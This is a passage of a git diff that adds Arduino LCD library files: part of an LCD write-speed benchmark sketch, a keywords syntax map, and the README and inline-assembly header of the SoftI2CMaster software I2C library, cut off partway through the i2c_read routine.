*/ +typedef long (*t_benchmarkOp)( uint8_t ); + +/*! + @typedef t_timeBenchMarks + @abstract Structure to store results of the execution time of the benchmark. + @field benchmark: function pointer of the benchmark to be executed. + */ +typedef struct +{ + t_benchmarkOp benchmark; /**< Function pointer associated to the benchmark */ + long benchTime; /**< execution time for benchmark 1 in useconds */ + uint16_t numWrites; /**< Number of write cycles of the benchmark */ +} t_benchMarks; + + +// Main LCD objects +// ---------------- +#ifdef _LCD_I2C_ +LiquidCrystal_I2C lcd(0x38); // set the LCD address to 0x20 for a 16 chars and 2 line display +#endif + +#ifdef _LCD_SI2C_ +LiquidCrystal_SI2C lcd(0x4e,2,1,0,4,5,6,7); +#endif + +#ifdef _LCD_4BIT_ +LiquidCrystal lcd(12, 11, 5, 4, 3, 2); +#endif + +#ifdef _LCD_SR_ +LiquidCrystal_SR lcd(8,7,TWO_WIRE); +#endif + +#ifdef _LCD_SR1_ +LiquidCrystal_SR1 lcd(2); +#endif + +#ifdef _LCD_SR3W_ +LiquidCrystal_SR3W lcd(3, 2, 4); +#endif + +// benchMarks definitions +// ---------------------- +extern long benchmark1 ( uint8_t ); +extern long benchmark2 ( uint8_t ); +extern long benchmark3 ( uint8_t ); +extern long benchmark4 ( uint8_t ); + +//! @brief benchmark structure that will be initialised and +static t_benchMarks myBenchMarks[NUM_BENCHMARKS] = +{ + { benchmark1, 0, (LCD_ROWS * LCD_COLUMNS) + 2 }, + { benchmark2, 0, LCD_ROWS * LCD_COLUMNS * 6 * 2 }, + { benchmark3, 0, 40 + 2 }, + { benchmark4, 0, 40 + 2 } +}; + +// Static methods +// -------------- +/*! + @function freeMemory + @abstract Return available RAM memory + @discussion This routine returns the ammount of RAM memory available after + initialising the C runtime. + @param + @return Free RAM available, -1 for non AVR microcontrollers + */ +static int freeMemory ( void ) +{ +#ifdef __AVR__ + int free_memory; + + if((int)__brkval == 0) + free_memory = ((int)&free_memory) - ((int)&__bss_end); + else + free_memory = ((int)&free_memory) - ((int)__brkval); + + return free_memory; +#else + return -1; +#endif + +} + +/*! + @function LCDSetup + @abstract Initialise LCD associated pins and initialise the LCD object + with its geometry. + @discussion Initialise the LCD object and make it ready for operation by + setting up the LCD geometry, i.e. LCD character size. Initialise + and configure all associated control pins such as backlight and + contras pin if necessary. + + @param[in] charBitmapSize: contrasts pin associated to the contrast (should be an + analog pin). 0 if contrast pin is not required. + @param[in] backlight: backlight pin associated to the LCD backlight. + @param[in] cols: number of LCD columns normal values (1, 2, 4) + @param[in] rows: number of LCD rows normal values (8, 16, 20) + */ +static void LCDSetup ( uint8_t contrasPin, uint8_t backlight, uint8_t cols, uint8_t rows ) +{ + // If our setup uses a PWM to control the backlight, configure it + // -------------------------------------------------------------- + if ( contrasPin != 0 ) + { + pinMode ( contrasPin, OUTPUT ); + analogWrite ( contrasPin, CONTRAST ); + } + // Setup backlight pin + /*if ( backlight != 0 ){ + pinMode(backlight, OUTPUT); + digitalWrite(backlight, HIGH); + }*/ + + lcd.begin ( cols, rows ); + lcd.setBacklightPin(3, POSITIVE); + lcd.setBacklight(HIGH); + lcd.clear ( ); +} + + +/*! + @function LCDLoadCharacters + @abstract Loads onto the LCD the character set for the benchmark. + @discussion Loads onto the LCD the character set that will be used throughout + the benchmark. + + @param[in] charBitmapSize: number of characters to load to the LCD. + */ +static void LCDLoadCharacters ( int numChars ) +{ + // Load custom character set into CGRAM + for ( int i = 0; i < numChars; i++ ) + { + lcd.createChar ( i, (uint8_t *)charBitmap[i] ); + } +} + + +// Benchmarks +// ---------- +/*! + @function benchmark1 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + memory. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark1 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + lcd.print (char(5)); + } + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark2 + @abstract writes to the LCD a full set of characters loaded on the LCD + memory one line pixel at the time + @discussion Writes to all the positions of the LCD a fixed pattern from + memory each patern take 6 write operations to the LCD. For every + character it writes it sets the cursor possition. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS * 6. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark2 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i, j, k; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + + for ( i = 0; i < LCD_ROWS; i++ ) + { + for ( j = 0; j < LCD_COLUMNS; j++ ) + { + for ( k = 0; k <= 5; k++ ) + { + lcd.setCursor ( j, i ); + lcd.print (char(k)); + } + } + } + totalTime += ( micros() - time ); + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark3 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + RAM. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark3 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( "####################" ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +/*! + @function benchmark4 + @abstract writes to the LCD a full set of characters from memory. + @discussion Writes to all the positions of the LCD a fixed pattern from + flash. For every line it writes, it positions the cursor. + The number of writen LCD accesses is: LCD_ROW * LCD_COLUMS + 2. + It returns the cumulative time used by all the iterations. + + @param[in] iterations: number of iterations the benchmark is executed before + returning the time taken by all iterations. + @return The time take to execute iterations number of benchmarks. + */ +long benchmark4 ( uint8_t iterations ) +{ + unsigned long time, totalTime = 0; + int i; + + while ( iterations > 0 ) + { + // Clear the LCD + lcd.clear ( ); + + time = micros (); + for ( i = 0; i < LCD_ROWS; i++ ) + { + lcd.setCursor ( 0, i ); + lcd.print ( F("####################") ); + } + totalTime += ( micros() - time ); + delay ( 200 ); // it doesn't keep up with the LCD refresh rate. + iterations--; + } + return ( totalTime ); +} + +// Main system setup +// ----------------- +void setup () +{ + Serial.begin ( 57600 ); +#ifdef __AVR__ + Serial.print ( F("Free mem: ") ); + Serial.println ( freeMemory () ); +#endif + + // Initialise the LCD + LCDSetup ( CONTRAST_PIN, BACKLIGHT_PIN, LCD_COLUMNS, LCD_ROWS ); + LCDLoadCharacters ( (sizeof(charBitmap ) / sizeof (charBitmap[0])) ); +} + + +// Main system loop +// ---------------- +void loop () +{ + int i; + + lcd.setCursor ( 0, 0 ); + lcd.clear ( ); + + // Run benchmark + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + myBenchMarks[i].benchTime = + (myBenchMarks[i].benchmark (ITERATIONS))/ITERATIONS; + Serial.println (i); + } + + float fAllWrites=0.0; + + for ( i = 0; i < NUM_BENCHMARKS; i++ ) + { + Serial.print ( F("benchmark") ); + Serial.print ( i ); + Serial.print ( F(": ") ); + Serial.print ( myBenchMarks[i].benchTime ); + Serial.print ( F(" us - ") ); + Serial.print ( F(" write: ") ); + Serial.print ( myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites ); + Serial.println ( F(" us") ); + fAllWrites += myBenchMarks[i].benchTime / (float)myBenchMarks[i].numWrites; + } + Serial.print( F("avg. write: ") ); + Serial.println( fAllWrites / (float)NUM_BENCHMARKS ); + } \ No newline at end of file diff --git a/libraries/NewliquidCrystal/keywords.txt b/libraries/NewliquidCrystal/keywords.txt new file mode 100644 index 0000000..c13f5ae --- /dev/null +++ b/libraries/NewliquidCrystal/keywords.txt @@ -0,0 +1,52 @@ +########################################### +# Syntax Coloring Map For LiquidCrystal_I2C +########################################### + +########################################### +# Datatypes (KEYWORD1) +########################################### + +LiquidCrystal_SR KEYWORD1 +LiquidCrystal_I2C KEYWORD1 +LiquidCrystal_SR3W KEYWORD1 +LiquidCrystal KEYWORD1 +LCD KEYWORD1 + +########################################### +# Methods and Functions (KEYWORD2) +########################################### +begin KEYWORD2 +clear KEYWORD2 +home KEYWORD2 +noDisplay KEYWORD2 +display KEYWORD2 +noBlink KEYWORD2 +blink KEYWORD2 +noCursor KEYWORD2 +cursor KEYWORD2 +scrollDisplayLeft KEYWORD2 +scrollDisplayRight KEYWORD2 +leftToRight KEYWORD2 +rightToLeft KEYWORD2 +moveCursorLeft KEYWORD2 +moveCursorRight KEYWORD2 +autoscroll KEYWORD2 +noAutoscroll KEYWORD2 +createChar KEYWORD2 +setCursor KEYWORD2 +print KEYWORD2 +write KEYWORD2 +println KEYWORD2 +backlight KEYWORD2 +noBacklight KEYWORD2 +on KEYWORD2 +off KEYWORD2 +setBacklightPin KEYWORD2 +setBacklight KEYWORD2 +########################################### +# Constants (LITERAL1) +########################################### +POSITIVE LITERAL1 +NEGATIVE LITERAL1 +BACKLIGHT_ON LITERAL1 +BACKLIGHT_OFF LITERAL1 \ No newline at end of file diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md new file mode 100644 index 0000000..c8d1758 --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/README.md @@ -0,0 +1,16 @@ +SoftI2CMaster +============= + +Software I2C Arduino library + +This is a very fast and light-weight software I2C-master library +written in assembler, which is based on Peter Fleury's software +I2C library http://homepage.hispeed.ch/peterfleury/avr-software.html +. It can use any pins on any AVR chip to drive the SDA and SCL lines. + +It assumes a single master and does not support bus arbitration. It +allows for clock stretching by slave devices and also can detect lock +ups of the I2C bus, i.e., if the SCL line is held low indefinitely. + +Even on 1MHz systems, you can get a transfer speed of 40 kbit/sec, so +you can use it to interface with SMbus devices. \ No newline at end of file diff --git a/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h new file mode 100644 index 0000000..3ca7caf --- /dev/null +++ b/libraries/NewliquidCrystal/thirdparty libraries/SoftI2CMaster/SoftI2CMaster.h @@ -0,0 +1,509 @@ +/* Arduino SoftI2C library. + * + * This is a very fast and very light-weight software I2C-master library + * written in assembler. It is based on Peter Fleury's I2C software + * library: http://homepage.hispeed.ch/peterfleury/avr-software.html + * + * + * This Library is free software: you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation, either version 3 of the License, or + * (at your option) any later version. + * + * This Library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with the Arduino I2cMaster Library. If not, see + * . + */ + +/* In order to use the library, you need to define SDA_PIN, SCL_PIN, + * SDA_PORT and SCL_PORT before including this file. Have a look at + * http://www.arduino.cc/en/Reference/PortManipulation for finding out + * which values to use. For example, if you use digital pin 3 for + * SDA and digital pin 13 for SCL you have to use the following + * definitions: + * #define SDA_PIN 3 + * #define SDA_PORT PORTB + * #define SCL_PIN 5 + * #define SCL_PORT PORTB + * + * You can also define the following constants (see also below): + * - I2C_CPUFREQ, when changing CPU clock frequency dynamically + * - I2C_FASTMODE = 1 meaning that the I2C bus allows speeds up to 400 kHz + * - I2C_SLOWMODE = 1 meaning that the I2C bus will allow only up to 25 kHz + * - I2C_NOINTERRUPT = 1 in order to prohibit interrupts while + * communicating (see below). This can be useful if you use the library + * for communicationg with SMbus devices, which have timeouts. + * Note, however, that interrupts are disabledfrom issuing a start condition + * until issuing a stop condition. So use this option with care! + * - I2C_TIMEOUT = 0..10000 mssec in order to return from the I2C functions + * in case of a I2C bus lockup (i.e., SCL constantly low). 0 means no timeout + */ + +/* Changelog: + * Version 1.1: + * - removed I2C_CLOCK_STRETCHING + * - added I2C_TIMEOUT time in msec (0..10000) until timeout or 0 if no timeout + * - changed i2c_init to return true iff both SDA and SCL are high + * - changed interrupt disabling so that the previous IRQ state is retored + * Version 1.0: basic functionality + */ +#include +#include + +#ifndef _SOFTI2C_H +#define _SOFTI2C_H 1 + +// Init function. Needs to be called once in the beginning. +// Returns false if SDA or SCL are low, which probably means +// a I2C bus lockup or that the lines are not pulled up. +boolean __attribute__ ((noinline)) i2c_init(void); + +// Start transfer function: is the 8-bit I2C address (including the R/W +// bit). +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_start(uint8_t addr); + +// Similar to start function, but wait for an ACK! Be careful, this can +// result in an infinite loop! +void __attribute__ ((noinline)) i2c_start_wait(uint8_t addr); + +// Repeated start function: After having claimed the bus with a start condition, +// you can address another or the same chip again without an intervening +// stop condition. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_rep_start(uint8_t addr); + +// Issue a stop condition, freeing the bus. +void __attribute__ ((noinline)) i2c_stop(void) asm("ass_i2c_stop"); + +// Write one byte to the slave chip that had been addressed +// by the previous start call. is the byte to be sent. +// Return: true if the slave replies with an "acknowledge", false otherwise +bool __attribute__ ((noinline)) i2c_write(uint8_t value) asm("ass_i2c_write"); + +// Read one byte. If is true, we send a NAK after having received +// the byte in order to terminate the read sequence. +uint8_t __attribute__ ((noinline)) i2c_read(bool last); + +// You can set I2C_CPUFREQ independently of F_CPU if you +// change the CPU frequency on the fly. If do not define it, +// it will use the value of F_CPU +#ifndef I2C_CPUFREQ +#define I2C_CPUFREQ F_CPU +#endif + +// If I2C_FASTMODE is set to 1, then the highest possible frequency below 400kHz +// is selected. Be aware that not all slave chips may be able to deal with that! +#ifndef I2C_FASTMODE +#define I2C_FASTMODE 0 +#endif + +// If I2C_FASTMODE is not defined or defined to be 0, then you can set +// I2C_SLOWMODE to 1. In this case, the I2C frequency will not be higher +// than 25KHz. This could be useful for problematic buses. +#ifndef I2C_SLOWMODE +#define I2C_SLOWMODE 0 +#endif + +// if I2C_NOINTERRUPT is 1, then the I2C routines are not interruptable. +// This is most probably only necessary if you are using a 1MHz system clock, +// you are communicating with a SMBus device, and you want to avoid timeouts. +// Be aware that the interrupt bit is enabled after each call. So the +// I2C functions should not be called in interrupt routines or critical regions. +#ifndef I2C_NOINTERRUPT +#define I2C_NOINTERRUPT 0 +#endif + +// I2C_TIMEOUT can be set to a value between 1 and 10000. +// If it is defined and nonzero, it leads to a timeout if the +// SCL is low longer than I2C_TIMEOUT milliseconds, i.e., max timeout is 10 sec +#ifndef I2C_TIMEOUT +#define I2C_TIMEOUT 0 +#else +#if I2C_TIMEOUT > 10000 +#error I2C_TIMEOUT is too large +#endif +#endif + +#define I2C_TIMEOUT_DELAY_LOOPS (I2C_CPUFREQ/1000UL)*I2C_TIMEOUT/4000UL +#if I2C_TIMEOUT_DELAY_LOOPS < 1 +#define I2C_MAX_STRETCH 1 +#else +#if I2C_TIMEOUT_DELAY_LOOPS > 60000UL +#define I2C_MAX_STRETCH 60000UL +#else +#define I2C_MAX_STRETCH I2C_TIMEOUT_DELAY_LOOPS +#endif +#endif + +#if I2C_FASTMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/400000L)/2-19)/3) +#else +#if I2C_SLOWMODE +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/25000L)/2-19)/3) +#else +#define I2C_DELAY_COUNTER (((I2C_CPUFREQ/100000L)/2-19)/3) +#endif +#endif + +// Table of I2C bus speed in kbit/sec: +// CPU clock: 1MHz 2MHz 4MHz 8MHz 16MHz 20MHz +// Fast I2C mode 40 80 150 300 400 400 +// Standard I2C mode 40 80 100 100 100 100 +// Slow I2C mode 25 25 25 25 25 25 + +// constants for reading & writing +#define I2C_READ 1 +#define I2C_WRITE 0 + +// map the IO register back into the IO address space +#define SDA_DDR (_SFR_IO_ADDR(SDA_PORT) - 1) +#define SCL_DDR (_SFR_IO_ADDR(SCL_PORT) - 1) +#define SDA_OUT _SFR_IO_ADDR(SDA_PORT) +#define SCL_OUT _SFR_IO_ADDR(SCL_PORT) +#define SDA_IN (_SFR_IO_ADDR(SDA_PORT) - 2) +#define SCL_IN (_SFR_IO_ADDR(SCL_PORT) - 2) + +#ifndef __tmp_reg__ +#define __tmp_reg__ 0 +#endif + + +// Internal delay functions. +void __attribute__ ((noinline)) i2c_delay_half(void) asm("ass_i2c_delay_half"); +void __attribute__ ((noinline)) i2c_wait_scl_high(void) asm("ass_i2c_wait_scl_high"); + +void i2c_delay_half(void) +{ // function call 3 cycles => 3C +#if I2C_DELAY_COUNTER < 1 + __asm__ __volatile__ (" ret"); + // 7 cycles for call and return +#else + __asm__ __volatile__ + ( + " ldi r25, %[DELAY] ;load delay constant ;; 4C \n\t" + "_Lidelay: \n\t" + " dec r25 ;decrement counter ;; 4C+xC \n\t" + " brne _Lidelay ;;5C+(x-1)2C+xC\n\t" + " ret ;; 9C+(x-1)2C+xC = 7C+xC" + : : [DELAY] "M" I2C_DELAY_COUNTER : "r25"); + // 7 cycles + 3 times x cycles +#endif +} + +void i2c_wait_scl_high(void) +{ +#if I2C_TIMEOUT <= 0 + __asm__ __volatile__ + ("_Li2c_wait_stretch: \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait for SCL high \n\t" + " rjmp _Li2c_wait_stretch \n\t" + " cln ;signal: no timeout \n\t" + " ret " + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN)); +#else + __asm__ __volatile__ + ( " ldi r27, %[HISTRETCH] ;load delay counter \n\t" + " ldi r26, %[LOSTRETCH] \n\t" + "_Lwait_stretch: \n\t" + " clr __tmp_reg__ ;do next loop 255 times \n\t" + "_Lwait_stretch_inner_loop: \n\t" + " rcall _Lcheck_scl_level ;call check function ;; 12C \n\t" + " brpl _Lstretch_done ;done if N=0 ;; +1 = 13C\n\t" + " dec __tmp_reg__ ;dec inner loop counter;; +1 = 14C\n\t" + " brne _Lwait_stretch_inner_loop ;; +2 = 16C\n\t" + " sbiw r26,1 ;dec outer loop counter \n\t" + " brne _Lwait_stretch ;continue with outer loop \n\t" + " sen ;timeout -> set N-bit=1 \n\t" + " rjmp _Lwait_return ;and return with N=1\n\t" + "_Lstretch_done: ;SCL=1 sensed \n\t" + " cln ;OK -> clear N-bit \n\t" + " rjmp _Lwait_return ; and return with N=0 \n\t" + + "_Lcheck_scl_level: ;; call = 3C\n\t" + " cln ;; +1C = 4C \n\t" + " sbic %[SCLIN],%[SCLPIN] ;skip if SCL still low ;; +2C = 6C \n\t" + " rjmp _Lscl_high ;; +0C = 6C \n\t" + " sen ;; +1 = 7C\n\t " + "_Lscl_high: " + " nop ;; +1C = 8C \n\t" + " ret ;return N-Bit=1 if low ;; +4 = 12C\n\t" + + "_Lwait_return:" + : : [SCLIN] "I" (SCL_IN), [SCLPIN] "I" (SCL_PIN), + [HISTRETCH] "M" (I2C_MAX_STRETCH>>8), + [LOSTRETCH] "M" (I2C_MAX_STRETCH&0xFF) + : "r26", "r27"); +#endif +} + + +boolean i2c_init(void) +{ + __asm__ __volatile__ + (" cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " cbi %[SDAOUT],%[SDAPIN] ;clear SDA output value \n\t" + " cbi %[SCLOUT],%[SCLPIN] ;clear SCL output value \n\t" + " clr r24 ;set return value to false \n\t" + " clr r25 ;set return value to false \n\t" + " sbis %[SDAIN],%[SDAPIN] ;check for SDA high\n\t" + " ret ;if low return with false \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high \n\t" + " ret ;if low return with false \n\t" + " ldi r24,1 ;set return value to true \n\t" + " ret " + : : + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), + [SCLIN] "I" (SCL_IN), [SCLOUT] "I" (SCL_OUT), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SDAIN] "I" (SDA_IN), [SDAOUT] "I" (SDA_OUT)); + return true; +} + +bool i2c_start(uint8_t addr) +{ + __asm__ __volatile__ + ( +#if I2C_NOINTERRUPT + " cli ;clear IRQ bit \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;wait T/2 \n\t" + " rcall ass_i2c_write ;now write address \n\t" + " ret" + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); + return true; // we never return here! +} + +bool i2c_rep_start(uint8_t addr) +{ + __asm__ __volatile__ + + ( +#if I2C_NOINTERRUPT + " cli \n\t" +#endif + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write \n\t" + " ret" + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN),[SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); + return true; // just to fool the compiler +} + +void i2c_start_wait(uint8_t addr) +{ + __asm__ __volatile__ + ( + " push r24 ;save original parameter \n\t" + "_Li2c_start_wait1: \n\t" + " pop r24 ;restore original parameter\n\t" + " push r24 ;and save again \n\t" +#if I2C_NOINTERRUPT + " cli ;disable interrupts \n\t" +#endif + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;delay T/2 \n\t" + " rcall ass_i2c_write ;write address \n\t" + " tst r24 ;if device not busy -> done \n\t" + " brne _Li2c_start_wait_done \n\t" + " rcall ass_i2c_stop ;terminate write & enable IRQ \n\t" + " rjmp _Li2c_start_wait1 ;device busy, poll ack again \n\t" + "_Li2c_start_wait_done: \n\t" + " pop __tmp_reg__ ;pop off orig argument \n\t" + " ret " + : : [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), + [SCLIN] "I" (SCL_IN),[SCLPIN] "I" (SCL_PIN)); +} + +void i2c_stop(void) +{ + __asm__ __volatile__ + ( + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL \n\t" + " rcall ass_i2c_delay_half ;T/2 delay \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for clock stretching slave\n\t" + " rcall ass_i2c_wait_scl_high ;wait until SCL=H\n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA \n\t" + " rcall ass_i2c_delay_half \n\t" +#if I2C_NOINTERRUPT + " sei ;enable interrupts again!\n\t" +#endif + : : [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN)); +} + +bool i2c_write(uint8_t value) +{ + __asm__ __volatile__ + ( + " sec ;set carry flag \n\t" + " rol r24 ;shift in carry and shift out MSB \n\t" + " rjmp _Li2c_write_first \n\t" + "_Li2c_write_bit:\n\t" + " lsl r24 ;left shift into carry ;; 1C\n\t" + "_Li2c_write_first:\n\t" + " breq _Li2c_get_ack ;jump if TXreg is empty;; +1 = 2C \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " brcc _Li2c_write_low ;;+1/+2=5/6C\n\t" + " nop ;; +1 = 7C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;; +2 = 11C \n\t" + "_Li2c_write_low: \n\t" + " sbi %[SDADDR],%[SDAPIN] ;force SDA low ;; +2 = 9C \n\t" + " rjmp _Li2c_write_high ;;+2 = 11C \n\t" + "_Li2c_write_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X = 11C+X\n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;;+2 = 13C+X\n\t" + " cln ;clear N-bit ;;+1 = 14C+X\n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;check for SCL high ;;+2 = 16C+X\n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brpl _Ldelay_scl_high ;;+2 = 18C+X\n\t" + "_Li2c_write_return_false: \n\t" + " clr r24 ; return false because of timeout \n\t" + " rjmp _Li2c_write_return \n\t" + "_Ldelay_scl_high: \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;;+X= 18C+2X\n\t" +#endif + " rjmp _Li2c_write_bit \n\t" + " ;; +2 = 20C +2X for one bit-loop \n\t" + "_Li2c_get_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; +2 = 5C \n\t" + " nop \n\t" + " nop \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA ;;+2 = 7C \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; +X = 7C+X \n\t" +#endif + " clr r25 ;; 17C+2X \n\t" + " clr r24 ;return 0 ;; 14C + X \n\t" + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; +2 = 9C+X\n\t" + "_Li2c_ack_wait: \n\t" + " cln ; clear N-bit ;; 10C + X\n\t" + " nop \n\t" + " sbis %[SCLIN],%[SCLPIN] ;wait SCL high ;; 12C + X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_write_return_false ;; 13C + X \n\t " + " sbis %[SDAIN],%[SDAPIN] ;if SDA hi -> return 0 ;; 15C + X \n\t" + " ldi r24,1 ;return true ;; 16C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 16C + 2X \n\t" +#endif + "_Li2c_write_return: \n\t" + " nop \n\t " + " nop \n\t " + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low so SCL=H is short\n\t" + " ret \n\t" + " ;; + 4 = 17C + 2X for acknowldge bit" + :: + [SCLDDR] "I" (SCL_DDR), [SCLPIN] "I" (SCL_PIN), [SCLIN] "I" (SCL_IN), + [SDADDR] "I" (SDA_DDR), [SDAPIN] "I" (SDA_PIN), [SDAIN] "I" (SDA_IN)); + return true; // fooling the compiler +} + +uint8_t i2c_read(bool last) +{ + __asm__ __volatile__ + ( + " ldi r23,0x01 \n\t" + "_Li2c_read_bit: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cbi %[SDADDR],%[SDAPIN] ;release SDA(prev. ACK);; 4C \n\t" + " nop \n\t" + " nop \n\t" + " nop \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 4C+X \n\t" +#endif + " cbi %[SCLDDR],%[SCLPIN] ;release SCL ;; 6C + X \n\t" +#if I2C_DELAY_COUNTER >= 1 + " rcall ass_i2c_delay_half ;delay T/2 ;; 6C + 2X \n\t" +#endif + " cln ; clear N-bit ;; 7C + 2X \n\t" + " nop \n\t " + " nop \n\t " + " nop \n\t " + " sbis %[SCLIN], %[SCLPIN] ;check for SCL high ;; 9C +2X \n\t" + " rcall ass_i2c_wait_scl_high \n\t" + " brmi _Li2c_read_return ;return if timeout ;; 10C + 2X\n\t" + " clc ;clear carry flag ;; 11C + 2X\n\t" + " sbic %[SDAIN],%[SDAPIN] ;if SDA is high ;; 11C + 2X\n\t" + " sec ;set carry flag ;; 12C + 2X\n\t" + " rol r23 ;store bit ;; 13C + 2X\n\t" + " brcc _Li2c_read_bit ;while receiv reg not full \n\t" + " ;; 15C + 2X for one bit loop \n\t" + + "_Li2c_put_ack: \n\t" + " sbi %[SCLDDR],%[SCLPIN] ;force SCL low ;; 2C \n\t" + " cpi r24,0 ;; 3C \n\t" + " breq _Li2c_put_ack_low ;if (ack=0) ;; 5C \n\t" + " cbi 